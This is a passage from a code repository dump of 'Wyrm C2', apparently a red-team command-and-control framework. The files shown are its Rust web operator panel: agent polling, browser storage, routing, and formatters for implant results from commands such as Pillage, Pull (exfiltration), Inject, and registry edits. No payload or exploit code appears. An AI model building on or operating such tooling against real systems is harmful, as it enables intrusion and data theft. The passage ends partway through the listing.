    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\">\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n    <link href=\"https://fonts.googleapis.com/css2?family=JetBrains+Mono:ital,wght@0,100..800;1,100..800&display=swap\" rel=\"stylesheet\">\n    <!-- Import bootstrap css -->\n    <link href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/css/bootstrap.min.css\" rel=\"stylesheet\" integrity=\"sha384-sRIl4kxILFvY47J16cr9ZwB07vP4J8+LH7qKQnuqkuIAvNWLzeN8tE5YBujZqJLB\" crossorigin=\"anonymous\">\n    <link data-trunk rel=\"css\" href=\"./static/styles.css\"/>\n     <link data-trunk rel=\"copy-dir\" href=\"static\" />\n  </head>\n  \n  <body></body>\n\n  <script src=\"https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.bundle.min.js\" integrity=\"sha384-FKyoEForCGlyvwx9Hj09JcYn3nv7wiPVlz7YYwJrWVcXK/BmnVDxM+D2scQbITxI\" crossorigin=\"anonymous\"></script>\n</html>"
  },
  {
    "path": "client/src/controller/build_profiles.rs",
    "content": "use leptos::wasm_bindgen::JsCast;\nuse web_sys::{\n    Blob, BlobPropertyBag, Url,\n    js_sys::{self, Uint8Array},\n    window,\n};\n/// Initiates a client side file download in the browser by creating a temporary blob URL.\n///\n/// # Arguments\n///\n/// * `filename` - The name that will be suggested for the downloaded file\n/// * `bytes` - The raw byte content to be downloaded\npub fn trigger_download(filename: &str, bytes: &[u8]) {\n    let window = window().expect(\"no global `window` exists\");\n    let document = window.document().expect(\"should have a document\");\n    let body = document.body().expect(\"document should have a body\");\n\n    let uint8_array = Uint8Array::from(bytes);\n\n    let parts = js_sys::Array::new();\n    parts.push(&uint8_array.buffer());\n\n    let props = BlobPropertyBag::new();\n    props.set_type(\"application/x-7z-compressed\");\n\n    let blob = Blob::new_with_u8_array_sequence_and_options(&parts, &props)\n        .expect(\"failed to create Blob\");\n\n    let url = Url::create_object_url_with_blob(&blob).expect(\"failed to create Object URL\");\n\n    let a = document\n        .create_element(\"a\")\n        .expect(\"create_element failed\")\n        .dyn_into::<web_sys::HtmlAnchorElement>()\n        .expect(\"element should be an HtmlAnchorElement\");\n\n    a.set_href(&url);\n    a.set_download(filename);\n\n    body.append_child(&a).expect(\"append_child failed\");\n    a.click();\n    body.remove_child(&a).expect(\"remove_child failed\");\n\n    Url::revoke_object_url(&url).expect(\"revoke_object_url failed\");\n}\n"
  },
  {
    "path": "client/src/controller/dashboard.rs",
    "content": "use std::{\n    collections::{HashMap, HashSet},\n    str::FromStr,\n};\n\nuse chrono::DateTime;\nuse leptos::prelude::*;\n\nuse crate::controller::{\n    get_item_from_browser_store, store_item_in_browser_store, wyrm_chat_history_browser_key,\n};\nuse crate::models::dashboard::{\n    Agent, AgentC2MemoryNotifications, NotificationForAgent, TabConsoleMessages,\n};\n\n/// Updates the local representation of agents that are connected to the C2. As this is a client only app\n/// and not a SSR app, it is slightly more messy - we poll the update from the server; store temporarily in the\n/// browser store (to persist between refreshes and navigation), and display to the user.\npub fn update_connected_agents(\n    set_connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>>,\n    polled_agents: Vec<AgentC2MemoryNotifications>,\n) {\n    // Split out the incoming agents in the poll and do a manual deserialisation based on the presence of\n    // \\t chars which was sent as the connection string.\n    let parsed: Vec<_> = polled_agents\n        .into_iter()\n        .map(|(agent, is_stale, new_messages)| {\n            let split: Vec<&str> = agent.split('\\t').collect();\n            let uid = split[1].to_string();\n            let last_seen = DateTime::from_str(split[3]).unwrap();\n            let pid = split[4].parse().unwrap();\n            let process_image = split[5].to_string();\n            (uid, last_seen, pid, process_image, is_stale, new_messages)\n        })\n        .collect();\n\n    let new_uids: HashSet<_> = parsed.iter().map(|(uid, ..)| uid.clone()).collect();\n\n    set_connected_agents.try_update(|map| {\n        map.retain(|uid, _| new_uids.contains(uid));\n    });\n\n    //\n    // Ensure all UIDs exist in the map (but don't touch messages yet)\n    //\n    set_connected_agents.try_update(|agents| {\n        for (uid, last_seen, pid, process_image, is_stale, _) in &parsed {\n            agents.entry(uid.clone()).or_insert_with(|| {\n                RwSignal::new(Agent::from(\n                    uid.clone(),\n                    *last_seen,\n                    *pid,\n                    process_image.clone(),\n                    *is_stale,\n                ))\n            });\n        }\n    });\n\n    //\n    // Now merge fields & messages using the known goods\n    //\n    let agent_map_snapshot = set_connected_agents.get();\n\n    for (uid, last_seen, pid, process_image, is_stale, new_messages) in parsed {\n        let Some(agent_sig) = agent_map_snapshot.get(&uid).cloned() else {\n            continue;\n        };\n\n        agent_sig.update(|agent| {\n            // Basic fields\n            agent.last_check_in = last_seen;\n            agent.pid = pid;\n            agent.is_stale = is_stale;\n            agent.process_name = process_image.clone();\n\n            // Hydrate from store; merge in any messages we don't yet have.\n            if let Ok(stored) = get_item_from_browser_store::<Vec<TabConsoleMessages>>(\n                &wyrm_chat_history_browser_key(&uid),\n            ) {\n                if agent.output_messages.is_empty() {\n                    agent.output_messages = stored;\n                } else {\n                    let mut seen: HashSet<i32> =\n                        agent.output_messages.iter().map(|m| m.completed_id).collect();\n\n                    for msg in stored {\n                        if seen.insert(msg.completed_id) {\n                            agent.output_messages.push(msg);\n                        }\n                    }\n                }\n            }\n\n            // Merge new messages\n            if let Some(raw) = new_messages {\n                match serde_json::from_value::<Vec<NotificationForAgent>>(raw) {\n                    Ok(msgs) if !msgs.is_empty() => {\n                        let new_msgs: Vec<_> =\n                            msgs.into_iter().map(TabConsoleMessages::from).collect();\n\n                        agent.output_messages.extend(new_msgs);\n\n                        let _ = store_item_in_browser_store(\n                            &wyrm_chat_history_browser_key(&uid),\n                            &agent.output_messages,\n                        );\n                    }\n                    Ok(_) => {\n                        leptos::logging::log!(\"Parsed empty new_messages vec for {uid}\");\n                    }\n                    Err(e) => {\n                        leptos::logging::error!(\"Failed to parse new_messages for {uid}: {e}\");\n                    }\n                }\n            }\n        });\n    }\n}\n"
  },
  {
    "path": "client/src/controller/mod.rs",
    "content": "use anyhow::bail;\nuse leptos::prelude::{document, window};\nuse serde::{Serialize, de::DeserializeOwned};\nuse web_sys::HtmlElement;\n\nuse crate::net::admin_health_check;\n\npub mod build_profiles;\npub mod dashboard;\n\npub enum BodyClass {\n    Login,\n    App,\n}\n\n/// Returns the browser storage key for a user's chat history.\npub fn wyrm_chat_history_browser_key(uid: &str) -> String {\n    format!(\"WYRM_C2_HISTORY_{}\", uid)\n}\n\n/// Switches the document body's CSS class between login and app states.\n///\n/// Ensures only one of the two exclusive classes (`login` or `app`) is applied to the body\n/// element at any time, enabling distinct styling for different application states.\npub fn apply_body_class(target: BodyClass) {\n    let body: HtmlElement = document().body().expect(\"no <body>\");\n\n    match target {\n        BodyClass::Login => {\n            let _ = body.class_list().remove_1(\"app\");\n            let _ = body.class_list().add_1(\"login\");\n        }\n        BodyClass::App => {\n            let _ = body.class_list().remove_1(\"login\");\n            let _ = body.class_list().add_1(\"app\");\n        }\n    }\n}\n\npub async fn is_logged_in() -> bool {\n    admin_health_check().await\n}\n\n/// Retrieves the saved C2 URL entered by the operator as a `String` if located\npub fn get_item_from_browser_store<T>(key: &str) -> anyhow::Result<T>\nwhere\n    T: DeserializeOwned,\n{\n    let x = window()\n        .local_storage()\n        .ok()\n        .flatten()\n        .and_then(|s| s.get_item(key).ok())\n        .unwrap_or_default();\n\n    if let Some(x_inner) = x {\n        // Inner is stored as a JSON serialised String\n        return Ok(serde_json::from_str(&x_inner)?);\n    }\n\n    bail!(\"Could not find key: {key}\")\n}\n\n/// Serialises and stores an item in the browser's local storage.\n///\n/// # Error\n/// Returns an error if JSON serialisation fails.\npub fn store_item_in_browser_store<T: Serialize>(key: &str, item: &T) -> anyhow::Result<()> {\n    let ser = serde_json::to_string(item)?;\n\n    let _ = window()\n        .local_storage()\n        .ok()\n        .flatten()\n        .and_then(|storage| storage.set_item(key, &ser).ok());\n\n    Ok(())\n}\n\n/// Removes an item from the browser's local storage.\n///\n/// Silently handles cases where local storage is unavailable or the deletion fails,\n/// logging errors for debugging purposes.\npub fn delete_item_in_browser_store(key: &str) {\n    let _: Option<()> = window().local_storage().ok().flatten().and_then(|s| {\n        if let Err(e) = s.remove_item(key) {\n            leptos::logging::log!(\"Error deleting chat: {e:?}\");\n        }\n\n        None\n    });\n}\n"
  },
  {
    "path": "client/src/main.rs",
    "content": "use leptos::prelude::*;\nuse leptos_meta::{Meta, Title, provide_meta_context};\nuse leptos_router::{components::*, path};\n\nuse crate::pages::{\n    build_profiles::BuildProfilesPage, dashboard::Dashboard, file_upload::FileUploadPage,\n    login::Login, logout::Logout, staged_resources::StagedResourcesPage,\n};\n\nmod controller;\nmod models;\nmod net;\nmod pages;\nmod tasks;\n\nfn main() {\n    _ = console_log::init_with_level(log::Level::Debug);\n    console_error_panic_hook::set_once();\n\n    leptos::mount::mount_to_body(App)\n}\n\n#[component]\nfn App() -> impl IntoView {\n    provide_meta_context();\n\n    view! {\n        <Title text=\"Wyrm C2 Panel\" />\n        <Meta charset=\"UTF-8\" />\n        <Meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n\n        <Router>\n            <Routes fallback=|| view! { NotFound }>\n                <Route path=path!(\"/\") view=Login />\n                <Route path=path!(\"/logout\") view=Logout />\n                <Route path=path!(\"/dashboard\") view=Dashboard />\n                <Route path=path!(\"/build_profiles\") view=BuildProfilesPage />\n                <Route path=path!(\"/file_upload\") view=FileUploadPage />\n                <Route path=path!(\"/staged_resources\") view=StagedResourcesPage />\n            </Routes>\n        </Router>\n    }\n}\n"
  },
  {
    "path": "client/src/models/dashboard.rs",
    "content": "use std::{\n    collections::{HashMap, HashSet},\n    path::{Path, PathBuf},\n};\n\nuse chrono::{DateTime, Utc};\nuse leptos::prelude::RwSignal;\nuse serde::{Deserialize, Serialize};\nuse serde_json::Value;\nuse shared::{\n    stomped_structs::{Process, RegQueryResult},\n    tasks::{Command, PowershellOutput, WyrmResult},\n};\n\nuse crate::{\n    controller::{\n        delete_item_in_browser_store, get_item_from_browser_store, store_item_in_browser_store,\n        wyrm_chat_history_browser_key,\n    },\n    models::TAB_STORAGE_KEY,\n};\n\n/// A representation of in memory agents on the C2, being a tuple of:\n/// - `String`: Agent display representation\n/// - `bool`: Is stale\n/// - `Option<Value>`: Any new notifications\npub type AgentC2MemoryNotifications = (String, bool, Option<Value>);\n\n/// A local client representation of an agent with a definition not shared across the\n/// `Wyrm` ecosystem.\n#[derive(Debug, Clone, Default)]\npub struct Agent {\n    pub agent_id: String,\n    pub last_check_in: DateTime<Utc>,\n    pub pid: u32,\n    pub process_name: String,\n    // TODO\n    // pub notification_status: NotificationStatus,\n    pub is_stale: bool,\n    /// Messages to be shown in the message box in the GUI\n    pub output_messages: Vec<TabConsoleMessages>,\n}\n\nimpl Agent {\n    pub fn from(\n        agent_id: String,\n        last_check_in: DateTime<Utc>,\n        pid: u32,\n        process_name: String,\n        is_stale: bool,\n    ) -> Self {\n        Self {\n            agent_id,\n            // notification_status: NotificationStatus::None,\n            last_check_in,\n            pid,\n            process_name,\n            is_stale,\n            ..Default::default()\n        }\n    }\n\n    pub fn from_messages(\n        messages: Vec<NotificationForAgent>,\n        agent_id: String,\n        last_check_in: DateTime<Utc>,\n        pid: u32,\n        process_name: String,\n        is_stale: bool,\n    ) -> Self {\n        let mut agent = Self::from(agent_id, last_check_in, pid, process_name, is_stale);\n\n        let mut new_messages = vec![];\n\n        for msg in messages {\n            new_messages.push(TabConsoleMessages::from(msg));\n        }\n\n        agent.output_messages.append(&mut new_messages);\n\n        agent\n    }\n}\n\n#[derive(Debug, Clone, Default, PartialEq, Eq, Hash, serde::Serialize, serde::Deserialize)]\npub struct TabConsoleMessages {\n    pub completed_id: i32,\n    pub event: String,\n    pub time: String,\n    pub messages: Vec<String>,\n}\n\nimpl TabConsoleMessages {\n    /// Creates a new `TabConsoleMessages` event where the result isn't something that has come about from interacting\n    /// with an agent.\n    ///\n    /// This could be used for commands which just require some form of response back to the user, from the C2 or locally\n    /// within the client itself.\n    pub fn non_agent_message(event: String, message: String) -> Self {\n        Self {\n            completed_id: 0,\n            event,\n            time: \"-\".into(),\n            messages: vec![message],\n        }\n    }\n}\n\n/// A representation of the database information pertaining to agent notifications which have not\n/// yet been pulled by the operator.\n#[derive(Debug, Serialize, Deserialize)]\npub struct NotificationForAgent {\n    pub completed_id: i32,\n    pub task_id: i32,\n    pub command_id: i32,\n    pub agent_id: String,\n    pub result: Option<String>,\n    pub time_completed_ms: i64,\n}\n\nimpl From<NotificationForAgent> for TabConsoleMessages {\n    fn from(notification_data: NotificationForAgent) -> Self {\n        let cmd = Command::from_u32(notification_data.command_id as _);\n        let cmd_string = command_to_string(&cmd);\n        let result = notification_data.format_console_output();\n\n        let time_seconds = if notification_data.time_completed_ms == 0 {\n            let now = Utc::now();\n            now.timestamp()\n        } else {\n            notification_data.time_completed_ms\n        };\n\n        // I am happy with the unwrap here, and I would prefer it over a default or half working product; if we make a change\n        // to how time is represented then this will crash the client - forcing a bug fix. In any case, this should not be a real problem\n        let time_utc_str = DateTime::from_timestamp(time_seconds, 0)\n            .unwrap()\n            .format(\"%d/%m/%Y %H:%M:%S\")\n            .to_string();\n\n        Self {\n            completed_id: notification_data.completed_id,\n            event: cmd_string,\n            time: time_utc_str,\n            messages: result,\n        }\n    }\n}\n\n/// Converts a [`Command`] to a `String`\nfn command_to_string(cmd: &Command) -> String {\n    let c = match cmd {\n        Command::Sleep => \"Sleep\",\n        Command::Ps => \"ListProcesses\",\n        Command::GetUsername => \"GetUsername\",\n        Command::Pillage => \"Pillage\",\n        Command::UpdateSleepTime => \"UpdateSleepTime\",\n        Command::Pwd => \"Pwd\",\n        Command::AgentsFirstSessionBeacon => \"AgentsFirstSessionBeacon\",\n        Command::Cd => \"Cd\",\n        Command::KillAgent => \"KillAgent\",\n        Command::Ls => \"Ls\",\n        Command::Run => \"Run\",\n        Command::KillProcess => \"KillProcess\",\n        Command::Drop => \"Drop\",\n        Command::Undefined => \"Undefined\",\n        Command::Copy => \"Copy\",\n        Command::Move => \"Move\",\n        Command::Pull => \"Pull\",\n        Command::RegQuery => \"reg query\",\n        Command::RegAdd => \"reg add\",\n        Command::RegDelete => \"reg del\",\n        Command::RmFile => \"RmFile\",\n        Command::RmDir => \"RmDir\",\n        Command::DotEx => \"DotEx\",\n        Command::ConsoleMessages => \"Agent console messages\",\n        Command::WhoAmI => \"whoami\",\n        Command::Spawn => \"Spawn\",\n        Command::StaticWof => \"Static WOF\",\n        Command::Inject => \"Inject\",\n    };\n\n    c.into()\n}\n\npub trait FormatOutput {\n    fn format_console_output(&self) -> Vec<String>;\n}\n\nimpl FormatOutput for NotificationForAgent {\n    fn format_console_output(&self) -> Vec<String> {\n        match Command::from_u32(self.command_id as _) {\n            Command::Sleep => {\n                return vec![\"Agent received task to adjust sleep time.\".into()];\n            }\n            Command::Ps => {\n                let listings_serialised = match self.result.as_ref() {\n                    Some(inner) => inner,\n                    None => {\n                        return vec![format!(\"No data returned from ps command.\")];\n                    }\n                };\n\n                let deser: Option<Vec<Process>> =\n                    serde_json::from_str(listings_serialised).unwrap();\n                if deser.is_none() {\n                    return vec![format!(\"Process listings empty.\")];\n                }\n\n                let mut builder = vec![];\n\n                const PID_W: usize = 10;\n                const PPID_W: usize = 10;\n                const NAME_W: usize = 40;\n                const USER_W: usize = 16;\n\n                let pid = \"PID:\";\n                let ppid = \"PPID:\";\n                let name = \"Name:\";\n                let user = \"User:\";\n                let f = format!(\n                    \"{:<PID_W$}{:<PPID_W$}{:<NAME_W$}{:<USER_W$}\",\n                    pid, ppid, name, user\n                );\n                builder.push(f);\n\n                for row in deser.unwrap() {\n                    let f = format!(\n                        \"{:<PID_W$}{:<PPID_W$}{:<NAME_W$}{:<USER_W$}\",\n                        row.pid, row.ppid, row.name, row.user\n                    );\n                    builder.push(f);\n                }\n\n                return builder;\n            }\n            Command::GetUsername => (),\n            Command::Pillage => {\n                let result = match self.result.as_ref() {\n                    Some(r) => r,\n                    None => {\n                        return vec![\"No data.\".into()];\n                    }\n                };\n\n                let deser: Vec<String> = match serde_json::from_str(result) {\n                    Ok(d) => d,\n                    Err(e) => {\n                        return vec![format!(\"Failed to deserialise results {e}.\")];\n                    }\n                };\n\n                return deser;\n            }\n            Command::UpdateSleepTime => (),\n            Command::Undefined => {\n                return vec![\"Congrats, you found a bug. This should never print.\".into()];\n            }\n            Command::Pwd => {\n                let result = match self.result.as_ref() {\n                    Some(r) => r,\n                    None => {\n                        return vec![\"An error occurred with the data from pwd.\".into()];\n                    }\n                };\n                let s: String = match serde_json::from_str(result) {\n                    Ok(s) => s,\n                    Err(e) => format!(\n                        \"An error occurred whilst trying to unwrap. {e}. Data: {}\",\n                        result\n                    ),\n                };\n                return vec![format!(\"{s}\")];\n            }\n            Command::AgentsFirstSessionBeacon => (),\n            Command::Cd => {\n                let result = match self.result.as_ref() {\n                    Some(r) => r,\n                    None => {\n                        return vec![format!(\"No data.\")];\n                    }\n                };\n\n                let deser: WyrmResult<PathBuf> = match serde_json::from_str(result) {\n                    Ok(d) => d,\n                    Err(e) => {\n                        return vec![print_client_error(&format!(\n                            \"Ensure your request was properly formatted: {e}\"\n                        ))];\n                    }\n                };\n                match deser {\n                    WyrmResult::Ok(result) => return vec![result.as_path().try_strip_prefix()],\n                    WyrmResult::Err(e) => return vec![print_client_error(&e)],\n                }\n            }\n            Command::KillAgent => (),\n            Command::Ls => {\n                let listings_serialised = match self.result.as_ref() {\n                    Some(inner) => inner,\n                    None => {\n                        return vec![format!(\"No data returned from ls command.\")];\n                    }\n                };\n\n                let deser: Option<Vec<PathBuf>> =\n                    serde_json::from_str(listings_serialised).unwrap();\n                if deser.is_none() {\n                    return vec![format!(\"Directory listings empty.\")];\n                }\n\n                let mut builder = vec![];\n\n                for row in deser.unwrap() {\n                    builder.push(row.as_path().try_strip_prefix());\n                }\n\n                return builder;\n            }\n            Command::Run => {\n                let powershell_output: PowershellOutput = match &self.result {\n                    Some(result) => match serde_json::from_str(result) {\n                        Ok(result) => result,\n                        Err(e) => {\n                            return vec![format!(\"Could not deser PowershellOutput result. {e}\")];\n                        }\n                    },\n                    None => {\n                        return vec![\"No output returned from PowerShell command.\".into()];\n                    }\n                };\n\n                if let Some(out) = powershell_output.stderr\n                    && !out.is_empty()\n                {\n                    return vec![format!(\"stderr: {out}\")];\n                }\n\n                if let Some(out) = powershell_output.stdout\n                    && !out.is_empty()\n                {\n                    return vec![format!(\"stdout: {out}\")];\n                }\n            }\n            Command::KillProcess => match &self.result {\n                Some(s) => {\n                    let result: WyrmResult<String> = match serde_json::from_str(s) {\n                        Ok(r) => r,\n                        Err(e) => {\n                            return vec![format!(\n                                \"Could not serialise result for KillProcess. {e}.\"\n                            )];\n                        }\n                    };\n\n                    match result {\n                        WyrmResult::Ok(s) => {\n                            return vec![format!(\"Successfully killed process ID {s}.\")];\n                        }\n                        WyrmResult::Err(e) => {\n                            return vec![format!(\n                                \"An error occurred whilst trying to kill a process. {e}\"\n                            )];\n                        }\n                    }\n                }\n                None => {\n                    return vec![\n                        \"An unknown error occurred whilst trying to kill a process.\".into(),\n                    ];\n                }\n            },\n            Command::Drop => match &self.result {\n                Some(s) => {\n                    let result: WyrmResult<String> = match serde_json::from_str(s) {\n                        Ok(r) => r,\n                        Err(e) => {\n                            return vec![format!(\"Could not serialise result. {e}.\")];\n                        }\n                    };\n\n                    if let WyrmResult::Err(e) = result {\n                        return vec![format!(\n                            \"An error occurred whilst trying to drop a file. {e}\"\n                        )];\n                    }\n\n                    return vec![format!(\"File dropped successfully.\")];\n                }\n                None => {\n                    return vec![\"An unknown error occurred whilst trying to drop a file.\".into()];\n                }\n            },\n            Command::Copy => {\n                //\n                // In the result we get back from the agent, Some(\"null\") is representative of the success.\n                // If `Some` != \"null\", contains a `WyrmError` that we can print.\n                //\n                if let Some(inner) = &self.result {\n                    if inner == \"null\" {\n                        return vec![\"File copied.\".into()];\n                    }\n\n                    if let Ok(e) = serde_json::from_str::<WyrmResult<String>>(inner) {\n                        return vec![format!(\"An error occurred copying the file: {:?}\", e)];\n                    }\n                }\n\n                return vec![\"File copied\".into()];\n            }\n            Command::Move => {\n                //\n                // In the result we get back from the agent, Some(\"null\") is representative of the success.\n                // If `Some` != \"null\", contains a `WyrmError` that we can print.\n                //\n                if let Some(inner) = &self.result {\n                    if inner == \"null\" {\n                        return vec![\"File moved.\".into()];\n                    }\n\n                    if let Ok(e) = serde_json::from_str::<WyrmResult<String>>(inner) {\n                        return vec![format!(\"An error occurred moving the file: {:?}\", e)];\n                    }\n                }\n\n                return vec![\"File moved\".into()];\n            }\n            Command::Pull => {\n                if let Some(response) = &self.result {\n                    if let Ok(msg) = serde_json::from_str::<String>(response) {\n                        // If we had an error message from the implant\n                        return vec![format!(\"Implant suffered error executing Pull. {msg}\")];\n                    } else {\n                        return vec![\"Unknown error.\".into()];\n                    }\n                }\n\n                return vec![\"File exfiltrated successfully and can be found on the C2.\".into()];\n            }\n            Command::RegQuery => {\n                if let Some(response) = &self.result {\n                    match RegQueryResult::try_from(response.as_str()) {\n                        Ok(r) => return r.client_print_formatted(),\n                        Err(e) => return e,\n                    }\n                } else {\n                    return vec![\"No data.\".to_string()];\n                }\n            }\n            Command::RegAdd => {\n                if let Some(response) = &self.result {\n                    return print_wyrm_result_string(response);\n                } else {\n                    return vec![format!(\"Unknown error. Got: {:#?}\", self.result)];\n                }\n            }\n            Command::RegDelete => {\n                if let Some(response) = &self.result {\n                    return print_wyrm_result_string(response);\n                } else {\n                    return vec![format!(\"Unknown error. Got: {:#?}\", self.result)];\n                }\n            }\n            Command::RmFile => {\n                if let Some(response) = &self.result {\n                    return print_wyrm_result_string(response);\n                } else {\n                    return vec![format!(\"Unknown error. Got: {:#?}\", self.result)];\n                }\n            }\n            Command::RmDir => {\n                if let Some(response) = &self.result {\n                    return print_wyrm_result_string(response);\n                } else {\n                    return vec![format!(\"Unknown error. Got: {:#?}\", self.result)];\n                }\n            }\n            Command::DotEx => {\n                if let Some(response) = &self.result {\n                    let deser = match serde_json::from_str::<WyrmResult<String>>(response) {\n                        Ok(i) => i,\n                        Err(e) => {\n                            return vec![format!(\n                                \"Could not deserialise response, {e}. Got raw: {response:?}\"\n                            )];\n                        }\n                    };\n\n                    match deser {\n                        WyrmResult::Ok(msg) => {\n                            return vec![msg];\n                        }\n                        WyrmResult::Err(e) => {\n                            return vec![format!(\"Error whilst trying to execute dotex: {e}\")];\n                        }\n                    }\n                } else {\n                    return vec![\"No data.\".to_owned()];\n                }\n            }\n            Command::ConsoleMessages => {\n                if let Some(ser) = &self.result {\n                    let deser = serde_json::from_str::<Vec<u8>>(&ser).unwrap();\n                    let s = String::from_utf8_lossy(&deser);\n                    return vec![s.to_string()];\n                }\n            }\n            Command::WhoAmI => {\n                if let Some(msg) = &self.result {\n                    let s = serde_json::from_str::<WyrmResult<String>>(msg).unwrap();\n                    match s {\n                        WyrmResult::Ok(s) => return vec![s],\n                        WyrmResult::Err(e) => return vec![format!(\"Error: {e}\")],\n                    }\n                } else {\n                    return vec![\"An error occurred. See console output.\".to_string()];\n                }\n            }\n            Command::Spawn => {\n                if let Some(msg) = &self.result {\n                    let s = serde_json::from_str::<WyrmResult<String>>(msg).unwrap();\n                    match s {\n                        WyrmResult::Ok(s) => return vec![s],\n                        WyrmResult::Err(e) => return vec![format!(\"Error: {e}\")],\n                    }\n                } else {\n                    return vec![\"An error occurred. See console output.\".to_string()];\n                }\n            }\n            Command::StaticWof => {\n                if let Some(msg) = &self.result {\n                    let s = serde_json::from_str::<WyrmResult<String>>(msg).unwrap();\n                    match s {\n                        WyrmResult::Ok(s) => return vec![s],\n                        WyrmResult::Err(e) => return vec![format!(\"Error: {e}\")],\n                    }\n                } else {\n                    return vec![\"An error occurred.\".to_string()];\n                }\n            }\n            Command::Inject => {\n                if let Some(msg) = &self.result {\n                    let s = serde_json::from_str::<WyrmResult<String>>(msg).unwrap();\n                    match s {\n                        WyrmResult::Ok(s) => return vec![s],\n                        WyrmResult::Err(e) => return vec![format!(\"Error: {e}\")],\n                    }\n                } else {\n                    return vec![\"An error occurred.\".to_string()];\n                }\n            }\n        }\n\n        //\n        // The fallthrough\n        //\n        match self.result.as_ref() {\n            Some(result) => {\n                vec![format!(\n                    \"[DISPLAY ERROR] Did not match / parse correctly. {result:?}\"\n                )]\n            }\n            None => {\n                vec![format!(\"Action completed with no data to present.\")]\n            }\n        }\n    }\n}\n\nfn print_client_error(msg: &str) -> String {\n    format!(\"Error: {msg}\")\n}\n\ntrait StripCannon {\n    fn try_strip_prefix(&self) -> String;\n}\n\nimpl StripCannon for Path {\n    /// Where a path has been canonicalised, try strip the Windows \\\\?\\ prefix for pretty\n    /// printing.\n    //\n    // If this function fails, it will return the original path as a `String`\n    fn try_strip_prefix(&self) -> String {\n        let s = self.to_string_lossy().into_owned();\n        if s.starts_with(r\"\\\\?\\\") {\n            let stripped = s.strip_prefix(r\"\\\\?\\\").unwrap_or(&s);\n            stripped.into()\n        } else {\n            s.into()\n        }\n    }\n}\n\n/// A helper function to print values when it is just a WyrmResult<String>\nfn print_wyrm_result_string(encoded_data: &String) -> Vec<String> {\n    match serde_json::from_str::<WyrmResult<String>>(encoded_data) {\n        Ok(wyrm_result) => match wyrm_result {\n            WyrmResult::Ok(d) => vec![d],\n            WyrmResult::Err(e) => vec![format!(\"An error occurred: {e}\")],\n        },\n        Err(e) => {\n            vec![format!(\n                \"Could not deserialise response: {e}. Got: {encoded_data:#?}\"\n            )]\n        }\n    }\n}\n\n/// Tracks the set of open tabs and which tab is currently active.\n///\n/// Used to maintain tab state in the UI, where `tabs` contains all open tab identifiers\n/// and `active_id` points to the currently selected tab (if any).\n#[derive(Serialize, Deserialize, Default, Debug)]\npub struct ActiveTabs {\n    pub tabs: HashSet<String>,\n    pub active_id: Option<String>,\n}\n\nimpl ActiveTabs {\n    /// Instantiates a new [`ActiveTabs`] from the store. If it did not exist, a new [`ActiveTabs`] will be\n    /// created.\n    pub fn from_store() -> Self {\n        get_item_from_browser_store(TAB_STORAGE_KEY).unwrap_or_default()\n    }\n\n    /// Writes the current tab layout to the browser store\n    pub fn save_to_store(&self) -> anyhow::Result<()> {\n        store_item_in_browser_store(TAB_STORAGE_KEY, self)?;\n\n        Ok(())\n    }\n\n    /// Adds a tab to the tracked tabs, doing nothing if the value already exists\n    pub fn add_tab(&mut self, name: &str) {\n        let name = name.to_string();\n        let _ = self.tabs.insert(name.clone());\n        self.active_id = Some(name.clone());\n        let _ = self.save_to_store();\n    }\n\n    /// Removes a tab to the tracked tabs, doing nothing if the value did not exists\n    pub fn remove_tab(&mut self, name: &str) {\n        self.active_id = None;\n        let _ = self.tabs.remove(name);\n        let key = wyrm_chat_history_browser_key(name);\n        delete_item_in_browser_store(&key);\n        let _ = self.save_to_store();\n    }\n}\n\n/// Information we wish to pull out of the agent ID, which has the format\n/// `hostname|serial|username|integrity|pid|epoch`. This information is used by\n/// the DB to uniquely identify each agent.\npub enum AgentIdSplit {\n    Hostname,\n    Integrity,\n    Username,\n}\n\n/// Get a `String` of the component from a custom deserialisation of the Agent's ID string.\npub fn get_info_from_agent_id<'a>(haystack: &'a str, needle: AgentIdSplit) -> Option<&'a str> {\n    let parts: Vec<&str> = haystack.split('|').collect();\n    // How many variants the enum `AgentIdSplit` has, to make sure we are dealing with good data.\n    const MAX_VARIANTS: usize = 3;\n\n    if parts.len() < MAX_VARIANTS {\n        return None;\n    }\n\n    // WARNING: This is highly dependant on the Agent ID not changing positional chars. If bugs appear,\n    // its almost certain because the ordering of delimited args are in the str.\n    let extracted_slice = match needle {\n        AgentIdSplit::Hostname => parts[0],\n        AgentIdSplit::Integrity => parts[3],\n        AgentIdSplit::Username => parts[2],\n    };\n\n    Some(extracted_slice)\n}\n\npub fn get_agent_tab_name(haystack: &str) -> Option<String> {\n    let parts: Vec<&str> = haystack.split('|').collect();\n    // We want to make sure we have enough parts collected\n    const MAX_VARIANTS: usize = 5;\n\n    if parts.len() < MAX_VARIANTS {\n        return None;\n    }\n\n    Some(format!(\n        \"{username}@{hostname} [{integrity}] - {pid}\",\n        integrity = parts[3],\n        username = parts[2],\n        hostname = parts[0],\n        pid = parts[4],\n    ))\n}\n\npub fn resolve_tab_to_agent_id(\n    tab: &str,\n    agent_map: &HashMap<String, RwSignal<Agent>>,\n) -> Option<String> {\n    if agent_map.contains_key(tab) {\n        return Some(tab.to_string());\n    }\n\n    agent_map\n        .keys()\n        .find(|id| get_agent_tab_name(id).as_deref() == Some(tab))\n        .cloned()\n}\n"
  },
  {
    "path": "client/src/models/mod.rs",
    "content": "use serde::Serialize;\n\npub mod dashboard;\n\n#[derive(Serialize, Clone, Debug, Default)]\npub struct LoginData {\n    pub c2_addr: String,\n    pub username: String,\n    pub password: String,\n}\n\npub const C2_STORAGE_KEY: &str = \"WYRM_C2_ADDR\";\npub const TAB_STORAGE_KEY: &str = \"WYRM_C2_TABS\";\n"
  },
  {
    "path": "client/src/net.rs",
